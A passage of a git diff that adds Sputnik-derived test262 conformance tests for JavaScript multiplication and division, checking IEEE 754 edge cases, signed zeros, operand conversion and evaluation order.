+if (isNaN(Number.MAX_VALUE * Number.NaN) !== true) {
+ $ERROR('#6: Number.MAX_VALUE * NaN === Not-a-Number. Actual: ' + (Number.MAX_VALUE * NaN));
+}
+
+//CHECK#7
+if (isNaN(Number.MIN_VALUE * Number.NaN) !== true) {
+ $ERROR('#7: Number.MIN_VALUE * NaN === Not-a-Number. Actual: ' + (Number.MIN_VALUE * NaN));
+}
+
+//CHECK#8
+if (isNaN(1 * Number.NaN) !== true) {
+ $ERROR('#8: 1 * NaN === Not-a-Number. Actual: ' + (1 * NaN));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T2.js
new file mode 100644
index 000000000..f6bc87a6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T2.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T2.js
+ * @description The sign of the result is positive if both operands have the same sign, negative if the operands have different signs
+ */
+
+//CHECK#1
+if (1 * 1 !== 1) {
+ $ERROR('#1: 1 * 1 === 1. Actual: ' + (1 * 1));
+}
+
+//CHECK#2
+if (1 * -1 !== -1) {
+ $ERROR('#2: 1 * -1 === -1. Actual: ' + (1 * -1));
+}
+
+//CHECK#3
+if (-1 * 1 !== -1) {
+ $ERROR('#3: -1 * 1 === -1. Actual: ' + (-1 * 1));
+}
+
+//CHECK#4
+if (-1 * -1 !== 1) {
+ $ERROR('#4: -1 * -1 === 1. Actual: ' + (-1 * -1));
+}
+
+//CHECK#5
+if (0 * 0 !== 0) {
+ $ERROR('#5.1: 0 * 0 === 0. Actual: ' + (0 * 0));
+} else {
+ if (1 / (0 * 0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: 0 * 0 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#6
+if (0 * -0 !== -0) {
+ $ERROR('#6.1: 0 * -0 === 0. Actual: ' + (0 * -0));
+} else {
+ if (1 / (0 * -0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#6.2: 0 * -0 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#7
+if (-0 * 0 !== -0) {
+ $ERROR('#7.1: -0 * 0 === 0. Actual: ' + (-0 * 0));
+} else {
+ if (1 / (-0 * 0) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#7.2: -0 * 0 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#8
+if (-0 * -0 !== 0) {
+ $ERROR('#8.1: -0 * -0 === 0. Actual: ' + (-0 * -0));
+} else {
+ if (1 / (-0 * -0) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#8.2: 0 * -0 === - 0. Actual: +0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T3.js
new file mode 100644
index 000000000..6bc264f90
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T3.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T3.js
+ * @description Multiplication of an infinity by a zero results in NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NEGATIVE_INFINITY * 0) !== true) {
+ $ERROR('#1: Infinity * 0 === Not-a-Number. Actual: ' + (Infinity * 0));
+}
+
+//CHECK#2
+if (isNaN(-0 * Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: -0 * -Infinity === Not-a-Number. Actual: ' + (-0 * -Infinity));
+}
+
+//CHECK#3
+if (isNaN(Number.POSITIVE_INFINITY * -0) !== true) {
+ $ERROR('#3: Infinity * -0 === Not-a-Number. Actual: ' + (Infinity * -0));
+}
+
+//CHECK#4
+if (isNaN(0 * Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: 0 * Infinity === Not-a-Number. Actual: ' + (0 * Infinity));
+}
+
+//CHECK#5
+if (isNaN(Number.NEGATIVE_INFINITY * -0) !== true) {
+ $ERROR('#5: Infinity * -0 === Not-a-Number. Actual: ' + (Infinity * -0));
+}
+
+//CHECK#6
+if (isNaN(0 * Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#6: 0 * -Infinity === Not-a-Number. Actual: ' + (0 * -Infinity));
+}
+
+//CHECK#7
+if (isNaN(Number.POSITIVE_INFINITY * 0) !== true) {
+ $ERROR('#7: Infinity * 0 === Not-a-Number. Actual: ' + (Infinity * 0));
+}
+
+//CHECK#8
+if (isNaN(-0 * Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#8: -0 * Infinity === Not-a-Number. Actual: ' + (-0 * Infinity));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T4.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T4.js
new file mode 100644
index 000000000..5603e976e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T4.js
+ * @description Multiplication of an infinity by an infinity results in an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.NEGATIVE_INFINITY * Number.NEGATIVE_INFINITY !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: -Infinity * -Infinity === Infinity. Actual: ' + (-Infinity * -Infinity));
+}
+
+//CHECK#2
+if (Number.POSITIVE_INFINITY * Number.POSITIVE_INFINITY !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2: Infinity * Infinity === Infinity. Actual: ' + (Infinity * Infinity));
+}
+
+//CHECK#3
+if (Number.NEGATIVE_INFINITY * Number.POSITIVE_INFINITY !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3: -Infinity * Infinity === -Infinity. Actual: ' + (-Infinity * Infinity));
+}
+
+//CHECK#4
+if (Number.POSITIVE_INFINITY * Number.NEGATIVE_INFINITY !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: Infinity * -Infinity === -Infinity. Actual: ' + (Infinity * -Infinity));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T5.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T5.js
new file mode 100644
index 000000000..e52526d3a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T5.js
+ * @description Multiplication of an infinity by a finite non-zero value results in a signed infinity
+ */
+
+//CHECK#1
+if (Number.NEGATIVE_INFINITY * -1 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: -Infinity * -1 === Infinity. Actual: ' + (-Infinity * -1));
+}
+
+//CHECK#2
+if (-1 * Number.NEGATIVE_INFINITY !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2: -1 * -Infinity === Infinity. Actual: ' + (-1 * -Infinity));
+}
+
+//CHECK#3
+if (Number.POSITIVE_INFINITY * -1 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3: Infinity * -1 === -Infinity. Actual: ' + (Infinity * -1));
+}
+
+//CHECK#4
+if (-1 * Number.POSITIVE_INFINITY !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: -1 * Infinity === -Infinity. Actual: ' + (-1 * Infinity));
+}
+
+//CHECK#5
+if (Number.POSITIVE_INFINITY * Number.MAX_VALUE !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5: Infinity * Number.MAX_VALUE === Infinity. Actual: ' + (Infinity * Number.MAX_VALUE));
+}
+
+//CHECK#6
+if (Number.POSITIVE_INFINITY * Number.MAX_VALUE !== Number.MAX_VALUE * Number.POSITIVE_INFINITY) {
+ $ERROR('#6: Infinity * Number.MAX_VALUE === Number.MAX_VALUE * Infinity. Actual: ' + (Infinity * Number.MAX_VALUE));
+}
+
+//CHECK#7
+if (Number.NEGATIVE_INFINITY * Number.MIN_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#7: -Infinity * Number.MIN_VALUE === -Infinity. Actual: ' + (-Infinity * Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (Number.NEGATIVE_INFINITY * Number.MIN_VALUE !== Number.MIN_VALUE * Number.NEGATIVE_INFINITY) {
+ $ERROR('#8: -Infinity * Number.MIN_VALUE === Number.MIN_VALUE * -Infinity. Actual: ' + (-Infinity * Number.MIN_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T6.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T6.js
new file mode 100644
index 000000000..7432a3146
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T6.js
+ * @description If the magnitude is too large to represent, the result is then an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MAX_VALUE * 1.1 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number.MAX_VALUE * 1.1 === Number.POSITIVE_INFINITY. Actual: ' + (Number.MAX_VALUE * 1.1));
+}
+
+//CHECK#2
+if (-1.1 * Number.MAX_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2: -1.1 * Number.MAX_VALUE === Number.NEGATIVE_INFINITY. Actual: ' + (-1.1 * Number.MAX_VALUE));
+}
+
+//CHECK#3
+if (Number.MAX_VALUE * 1 !== Number.MAX_VALUE) {
+ $ERROR('#3: Number.MAX_VALUE * 1 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE * 1));
+}
+
+//CHECK#4
+if (-1 * Number.MAX_VALUE !== -Number.MAX_VALUE) {
+ $ERROR('#4: -1 * Number.MAX_VALUE === -Number.MAX_VALUE. Actual: ' + (-1 * Number.MAX_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T7.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T7.js
new file mode 100644
index 000000000..5a8d203e5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T7.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T7.js
+ * @description If the magnitude is too small to represent, the result is then a zero of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MIN_VALUE * 0.1 !== 0) {
+ $ERROR('#1: Number.MIN_VALUE * 0.1 === 0. Actual: ' + (Number.MIN_VALUE * 0.1));
+}
+
+//CHECK#2
+if (-0.1 * Number.MIN_VALUE !== -0) {
+ $ERROR('#2.1: -0.1 * Number.MIN_VALUE === -0. Actual: ' + (-0.1 * Number.MIN_VALUE));
+} else {
+ if (1 / (-0.1 * Number.MIN_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2.2: -0.1 * Number.MIN_VALUE === -0. Actual: +0');
+ }
+}
+
+//CHECK#3
+if (Number.MIN_VALUE * 0.5 !== 0) {
+ $ERROR('#3: Number.MIN_VALUE * 0.5 === 0. Actual: ' + (Number.MIN_VALUE * 0.5));
+}
+
+//CHECK#4
+if (-0.5 * Number.MIN_VALUE !== -0) {
+ $ERROR('#4.1: -0.5 * Number.MIN_VALUE === -0. Actual: ' + (-0.5 * Number.MIN_VALUE));
+} else {
+ if (1 / (-0.5 * Number.MIN_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: -0.5 * Number.MIN_VALUE === -0. Actual: +0');
+ }
+}
+
+//CHECK#5
+if (Number.MIN_VALUE * 0.51 !== Number.MIN_VALUE) {
+ $ERROR('#5: Number.MIN_VALUE * 0.51 === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE * 0.51));
+}
+
+//CHECK#6
+if (-0.51 * Number.MIN_VALUE !== -Number.MIN_VALUE) {
+ $ERROR('#6: -0.51 * Number.MIN_VALUE === -Number.MIN_VALUE. Actual: ' + (-0.51 * Number.MIN_VALUE));
+}
+
+//CHECK#7
+if (Number.MIN_VALUE * 0.9 !== Number.MIN_VALUE) {
+ $ERROR('#7: Number.MIN_VALUE * 0.9 === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE * 0.9));
+}
+
+//CHECK#8
+if (-0.9 * Number.MIN_VALUE !== -Number.MIN_VALUE) {
+ $ERROR('#8: -0.9 * Number.MIN_VALUE === -Number.MIN_VALUE. Actual: ' + (-0.9 * Number.MIN_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T8.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T8.js
new file mode 100644
index 000000000..0d777e06f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T8.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T8.js
+ * @description Multiplication is not always associative (x * y * z is the same as (x * y) * z, not x * (y * z))
+ */
+
+//CHECK#1
+if (Number.MAX_VALUE * 1.1 * 0.9 !== (Number.MAX_VALUE * 1.1) * 0.9) {
+ $ERROR('#1: Number.MAX_VALUE * 1.1 * 0.9 === (Number.MAX_VALUE * 1.1) * 0.9. Actual: ' + (Number.MAX_VALUE * 1.1 * 0.9));
+}
+
+//CHECK#2
+if ((Number.MAX_VALUE * 1.1) * 0.9 === Number.MAX_VALUE * (1.1 * 0.9)) {
+ $ERROR('#2: (Number.MAX_VALUE * 1.1) * 0.9 !== Number.MAX_VALUE * (1.1 * 0.9)');
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/browser.js b/js/src/tests/test262/ch11/11.5/11.5.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/shell.js b/js/src/tests/test262/ch11/11.5/11.5.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A1.js
new file mode 100644
index 000000000..0b92880bd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between MultiplicativeExpression and "/" or between "/" and UnaryExpression are allowed
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009/\u00091") !== 1) {
+ $ERROR('#1: 1\\u0009/\\u00091 === 1');
+}
+
+//CHECK#2
+if (eval("1\u000B/\u000B1") !== 1) {
+ $ERROR('#2: 1\\u000B/\\u000B1 === 1');
+}
+
+//CHECK#3
+if (eval("1\u000C/\u000C1") !== 1) {
+ $ERROR('#3: 1\\u000C/\\u000C1 === 1');
+}
+
+//CHECK#4
+if (eval("1\u0020/\u00201") !== 1) {
+ $ERROR('#4: 1\\u0020/\\u00201 === 1');
+}
+
+//CHECK#5
+if (eval("1\u00A0/\u00A01") !== 1) {
+ $ERROR('#5: 1\\u00A0/\\u00A01 === 1');
+}
+
+//CHECK#6
+if (eval("1\u000A/\u000A1") !== 1) {
+ $ERROR('#6: 1\\u000A/\\u000A1 === 1');
+}
+
+//CHECK#7
+if (eval("1\u000D/\u000D1") !== 1) {
+ $ERROR('#7: 1\\u000D/\\u000D1 === 1');
+}
+
+//CHECK#8
+if (eval("1\u2028/\u20281") !== 1) {
+ $ERROR('#8: 1\\u2028/\\u20281 === 1');
+}
+
+//CHECK#9
+if (eval("1\u2029/\u20291") !== 1) {
+ $ERROR('#9: 1\\u2029/\\u20291 === 1');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029/\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 1) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029/\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T1.js
new file mode 100644
index 000000000..c06d2991c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y uses GetValue
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 / 1 !== 1) {
+ $ERROR('#1: 1 / 1 === 1. Actual: ' + (1 / 1));
+}
+
+//CHECK#2
+var x = 1;
+if (x / 1 !== 1) {
+ $ERROR('#2: var x = 1; x / 1 === 1. Actual: ' + (x / 1));
+}
+
+//CHECK#3
+var y = 1;
+if (1 / y !== 1) {
+ $ERROR('#3: var y = 1; 1 / y === 1. Actual: ' + (1 / y));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x / y !== 1) {
+ $ERROR('#4: var x = 1; var y = 1; x / y === 1. Actual: ' + (x / y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop / objecty.prop !== 1) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop / objecty.prop === 1. Actual: ' + (objectx.prop / objecty.prop));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T2.js
new file mode 100644
index 000000000..68396ed54
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y uses GetValue
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x / 1;
+ $ERROR('#1.1: x / 1 throw ReferenceError. Actual: ' + (x / 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x / 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T3.js
new file mode 100644
index 000000000..d0da4868d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y uses GetValue
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 / y;
+ $ERROR('#1.1: 1 / y throw ReferenceError. Actual: ' + (1 / y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 / y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.2_T1.js
new file mode 100644
index 000000000..e0d8bc345
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y uses [[Default Value]]
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} / 1 !== 1) {
+ $ERROR('#1: {valueOf: function() {return 1}} / 1 === 1. Actual: ' + ({valueOf: function() {return 1}} / 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} / 1 !== 1) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} / 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} / 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} / 1 !== 1) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} / 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} / 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} / 1 !== 1) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} / 1 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} / 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} / 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} / 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 / {toString: function() {return 1}} !== 1) {
+ $ERROR('#5: 1 / {toString: function() {return 1}} === 1. Actual: ' + (1 / {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (1 / {valueOf: function() {return {}}, toString: function() {return 1}} !== 1) {
+ $ERROR('#6: 1 / {valueOf: function() {return {}}, toString: function() {return 1}} === 1. Actual: ' + (1 / {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ 1 / {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 / {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 / {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 / {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 / {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 / {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 / {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 / {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.3_T1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.3_T1.js
new file mode 100644
index 000000000..8c0b9888e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x / y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x / y throw "x". Actual: ' + (x / y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x / y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T1.js
new file mode 100644
index 000000000..2d2d55efe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) / x !== 1) {
+ $ERROR('#1: var x = 0; (x = 1) / x === 1. Actual: ' + ((x = 1) / x));
+}
+
+//CHECK#2
+var x = 0;
+if (x / (x = 1) !== 0) {
+ $ERROR('#2: var x = 0; x / (x = 1) === 0. Actual: ' + (x / (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T2.js
new file mode 100644
index 000000000..44f0f2327
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() / y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() / y() throw "x". Actual: ' + (x() / y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() / y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T3.js
new file mode 100644
index 000000000..13ffe9ff3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x / (x = 1);
+ $ERROR('#1.1: x / (x = 1) throw ReferenceError. Actual: ' + (x / (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x / (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) / y !== 1) {
+ $ERROR('#2: (y = 1) / y === 1. Actual: ' + ((y = 1) / y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.1.js
new file mode 100644
index 000000000..5e53abaf2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x / y returns ToNumber(x) / ToNumber(y)
+ *
